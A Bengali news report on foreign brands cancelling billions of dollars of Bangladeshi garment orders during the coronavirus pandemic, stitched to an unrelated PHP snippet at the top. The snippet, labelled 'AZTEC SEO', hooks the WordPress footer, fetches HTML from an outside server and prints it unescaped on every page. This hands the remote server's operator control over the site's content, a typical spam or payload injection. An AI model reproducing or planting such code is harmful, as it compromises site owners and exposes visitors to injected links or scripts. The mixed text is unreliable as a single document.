/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99);
করোনাভাইরাসের বিস্তার ঠেকাতে ইউরোপ ও আমেরিকাজুড়ে পোশাকের আউটলেটগুলো বন্ধ হওয়ার কারনে বিদেশি ক্রেতারা বাংলাদেশি পোশাকের অন্তত ৩১ হাজার ২৯০ কোটি টাকার বেশি ক্রয় আদেশ বাতিল করেছে। পোশাক শিল্প মালিকদের সংগঠন বিজিএমইএ’র বরাত দিয়ে বিভিন্ন সংবাদমাধ্যমে এই খবর প্রকাশিত হচ্ছে।
এদিকে লন্ডনভিত্তিক পত্রিকা ’দ্য টাইমস’ বাংলাদেশের গার্মেন্টস-খাত নিয়ে গত রোববার একটি প্রতিবেদন প্রকাশ করেছে। সেখানে এই তথ্য উল্লেখ করে জানানো হয়েছে, করোনার এই সময়ে ব্রিটিশ কোম্পানিগুলো অর্ডার বাতিল করায় বাংলাদেশের বিপদ বেশি বেড়েছে।
এর আগে মার্চের শেষ দিকে বিজিএমইএ থেকে দাবি করা হয়, ১৪৮ কোটি ডলারের তৈরি পোশাকের ক্রয় আদেশ বাতিল হয়েছে। ডিসেম্বর পর্যন্ত মোট ১ হাজার ৯৩১টি বিদেশি ফ্যাশন ব্র্যান্ড তাদের অর্ডার বাতিল করেছে। এরমধ্যে যুক্তরাজ্য এবং যুক্তরাষ্ট্রের প্রায় ২০টি বড় প্রতিষ্ঠান রয়েছে। আর ইউরোপীয় ইউনিয়ন থেকে রয়েছে আরও ১০টি প্রতিষ্ঠান।
ট্রেডক্রাফট এক্সচেঞ্জের দেওয়া তথ্য অনুযায়ী, জুন পর্যন্ত ব্রিটিশ কোম্পানিগুলো শুধু বাতিল করেছে ১ বিলিয়ন ডলারের অর্ডার। একই সময়ে যুক্তরাষ্ট্র থেকে বাতিল হয়েছে ৫০০ মিলিয়ন ডলারের অর্ডার। এ ছাড়া জার্মানি, সুইডেন, ফ্রান্স এবং স্পেন থেকে বাতিল হয়েছে আরও ১০০ মিলিয়ন করে।